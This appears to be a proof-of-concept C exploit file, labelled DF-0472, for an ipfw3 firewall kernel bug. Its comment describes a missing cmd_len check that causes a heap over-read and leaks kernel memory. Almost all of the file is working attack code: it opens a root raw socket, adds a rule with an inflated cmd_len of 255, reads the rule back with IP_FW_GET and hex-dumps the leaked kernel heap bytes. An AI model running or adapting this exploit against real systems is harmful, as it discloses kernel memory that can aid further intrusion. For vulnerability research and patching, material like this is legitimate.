DF-0472 / leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 | /* * DF-0472 - ipfw3 ip_fw3_ctl_add_rule missing cmd_len validation * heap over-read (CWE-125) + kernel heap info leak (CWE-200) * * Trigger (ROOT ONLY - raw socket + ipfw3 ctl path): * 1. setsockopt(IPPROTO_IP, IP_FW_X, [x_hdr(opcode=IP_FW_ADD)][ioc_rule * with cmd_len=255 but only ONE real cmd provided]) -> ip_fw3_ctl_add_rule * validates the TOTAL sopt_valsize is in [36,1020] but NEVER validates * cmd_len against the data actually supplied. It krealloc()s the buffer * to 1020 bytes (sizeof(uint32_t)*IPFW_RULE_SIZE_MAX) WITHOUT zeroing, * then add_rule_dispatch() does: * bcopy(ioc_rule->cmd, rule->cmd, rule->cmd_len * 4); * With cmd_len=255 that reads 1020 bytes from offset 36 of a 1020-byte * buffer => 36-byte heap over-read PAST the allocation, plus ~976 bytes * of uninitialized krealloc() tail -- all of it kernel heap residue. * 2. getsockopt(IPPROTO_IP, IP_FW_X, [x_hdr(opcode=IP_FW_GET)]) copies the * garbage (cmd_len*4 = 1020 bytes) back to userspace via * ip_fw3_ctl_get_rules():bcopy(rule->cmd, ioc->cmd, ioc->cmd_len*4). * * Output: a hex dump of the rule's cmd region. The first 8 bytes are the * single real cmd we sent (the "MARKER"); every non-zero byte after that is * LEAKED kernel heap (krealloc tail + neighbour slab object). Run several * times -- genuine heap residue varies byte-for-byte across runs. * * Build: cc -o leak leak.c * Run : ./leak (as root, with ipfw3.ko loaded & fw3.enable=0) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <stddef.h> /* ---- constants mirrored from sys/net/ipfw3/ip_fw3.h + sys/netinet/in.h ---- */ #define MY_IP_FW_X 49 /* IP_FW_X */ #define MY_IP_FW_ADD 50 /* IP_FW_ADD */ #define MY_IP_FW_GET 54 /* IP_FW_GET */ #define MY_IPFW_RULE_SIZE_MAX 255 /* IPFW_RULE_SIZE_MAX (uint32 words) */ #define MY_SIZE_OF_IPFWINSN 8 typedef struct { uint8_t opcode; uint8_t len; uint16_t arg1; uint8_t module; uint8_t arg3; uint16_t arg2; } my_ipfw_insn; /* sizeof == 8 == MY_SIZE_OF_IPFWINSN */ typedef struct { uint16_t opcode; uint16_t _pad; } my_x_header; /* MUST match kernel struct ipfw_ioc_rule layout exactly (natural align). */ struct my_ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t insert; uint32_t sets; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; my_ipfw_insn cmd[1]; }; /* kernel: IOC_RULESIZE(r) = sizeof(ioc_rule) + cmd_len*4 - SIZE_OF_IPFWINSN * With sizeof(ioc_rule)=48 (4 bytes trailing pad for uint64 alignment) that is * 40 + cmd_len*4. cmd lives at offsetof(cmd)=36. The 4 trailing pad bytes are * skipped by the kernel when advancing between GET blocks. */ #define MY_CMD_OFF offsetof(struct my_ioc_rule, cmd) #define MY_IOC_STRIDE(c) (sizeof(struct my_ioc_rule) - MY_SIZE_OF_IPFWINSN + (size_t)(c) * 4u) static void hexdump(const char *pfx, const unsigned char *b, size_t n) { for (size_t i = 0; i < n; i += 16) { printf("%s %04zx: ", pfx, i); for (size_t j = 0; j < 16 && (i + j) < n; j++) printf("%02x ", b[i + j]); printf("\n"); } } int main(void) { /* sanity: confirm the userspace struct mirrors the kernel layout */ if (sizeof(my_ipfw_insn) != MY_SIZE_OF_IPFWINSN) { fprintf(stderr, "FAIL: ipfw_insn size %zu != 8\n", sizeof(my_ipfw_insn)); return 2; } if (sizeof(struct my_ioc_rule) != 48) { fprintf(stderr, "FAIL: ioc_rule size %zu != 48 (uint64-align pad)\n", sizeof(struct my_ioc_rule)); return 2; } printf("[*] struct sizes ok: ipfw_insn=%zu ioc_rule=%zu cmd_off=%zu stride_const=%zu\n", sizeof(my_ipfw_insn), sizeof(struct my_ioc_rule), (size_t)MY_CMD_OFF, (size_t)(sizeof(struct my_ioc_rule) - MY_SIZE_OF_IPFWINSN)); int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW,IPPROTO_RAW) [needs root]"); return 2; } printf("[*] raw socket fd=%d (root-only path)\n", s); /* ---- STEP 1: ADD a rule with cmd_len=255 but only 1 real cmd ---- */ unsigned char addbuf[64]; memset(addbuf, 0x5a, sizeof(addbuf)); /* poison our own buffer */ my_x_header *xh = (my_x_header *)addbuf; xh->opcode = MY_IP_FW_ADD; xh->_pad = 0; struct my_ioc_rule *r = (struct my_ioc_rule *)(addbuf + sizeof(my_x_header)); memset(r, 0, sizeof(*r)); r->act_ofs = 0; r->cmd_len = MY_IPFW_RULE_SIZE_MAX; /* 255 -- the bug */ r->rulenum = 0; /* kernel auto-assigns */ r->set = 0; r->insert = 0; /* one distinctive marker cmd (8 bytes); kernel will read 255*4=1020 */ r->cmd[0].opcode = 0xDE; r->cmd[0].len = 1; /* F_LEN -> 1 word, so chk would advance 1 */ r->cmd[0].arg1 = 0xADBE; r->cmd[0].module = 0xEF; r->cmd[0].arg3 = 0x01; r->cmd[0].arg2 = 0x0203; size_t addlen = sizeof(my_x_header) + sizeof(struct my_ioc_rule); /* 4 + 44 = 48 */ printf("[*] ADD: sending %zu bytes; claims cmd_len=%u (= %u bytes of cmd)\n", addlen, r->cmd_len, r->cmd_len * 4u); printf("[*] kernel only has 8 bytes of real cmd (1 insn) but will\n"); printf("[*] krealloc to 1020 and bcopy 1020 bytes -> heap over-read\n"); int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, addbuf, addlen); printf("[+] setsockopt(IP_FW_ADD) rc=%d errno=%d (%s)\n", rc, errno, rc ? strerror(errno) : "ok"); if (rc != 0) { printf("[!] ADD failed; aborting leak readback\n"); close(s); return 1; } /* ---- STEP 2: GET all rules back, find our garbage rule, dump its cmd ---- */ unsigned char getbuf[4096]; memset(getbuf, 0, sizeof(getbuf)); my_x_header *gxh = (my_x_header *)getbuf; gxh->opcode = MY_IP_FW_GET; gxh->_pad = 0; socklen_t getlen = sizeof(getbuf); rc = getsockopt(s, IPPROTO_IP, MY_IP_FW_X, getbuf, &getlen); printf("[+] getsockopt(IP_FW_GET) rc=%d returned %u bytes\n", rc, (unsigned)getlen); if (rc != 0) { perror("getsockopt"); close(s); return 1; } /* Walk the returned rule list. After ip_fw3_ctl_x the x_header is gone, * so getbuf[0..getlen) is a packed array of ioc_rule blocks. */ unsigned off = 0; int found = 0; while (off + (sizeof(struct my_ioc_rule) - MY_SIZE_OF_IPFWINSN) <= getlen) { struct my_ioc_rule *gr = (struct my_ioc_rule *)(getbuf + off); size_t blk = MY_IOC_STRIDE(gr->cmd_len); printf("[*] rule @ off=%u: rulenum=%u cmd_len=%u act_ofs=%u blk=%zu bytes\n", off, gr->rulenum, gr->cmd_len, gr->act_ofs, blk); if (gr->cmd_len == MY_IPFW_RULE_SIZE_MAX && gr->rulenum != 65535 && !found) { found = 1; const unsigned char *cmd = (const unsigned char *)getbuf + off + MY_CMD_OFF; size_t cmdbytes = (size_t)gr->cmd_len * 4u; printf("\n===== LEAKED RULE cmd region (%zu bytes) =====\n", cmdbytes); printf(" bytes [0..7] = our MARKER cmd (0xDE 01 ...)\n"); printf(" bytes [8..%zu] = LEAKED KERNEL HEAP (krealloc tail + over-read)\n", cmdbytes - 1); hexdump(" ", cmd, cmdbytes); /* summarise the leak: non-zero bytes after our 8-byte marker */ size_t leaked_region = cmdbytes - 8; size_t nonzero = 0, first_nz = 0, last_nz = 0; int seen = 0; for (size_t i = 8; i < cmdbytes; i++) { if (cmd[i] != 0) { nonzero++; if (!seen) { first_nz = i; seen = 1; } last_nz = i; } } printf("\n[+] LEAK SUMMARY: %zu / %zu bytes non-zero in leaked region\n", nonzero, leaked_region); printf("[+] first non-zero leaked byte at cmd[%zu], last at cmd[%zu]\n", first_nz, last_nz); printf("[+] sample (cmd[8..47], the over-read boundary area): "); for (size_t i = 8; i < 48 && i < cmdbytes; i++) printf("%02x", cmd[i]); printf("\n\n"); } if (blk == 0) break; off += blk; } if (!found) printf("[!] garbage rule not found in GET response\n"); close(s); return found ? 0 : 1; } |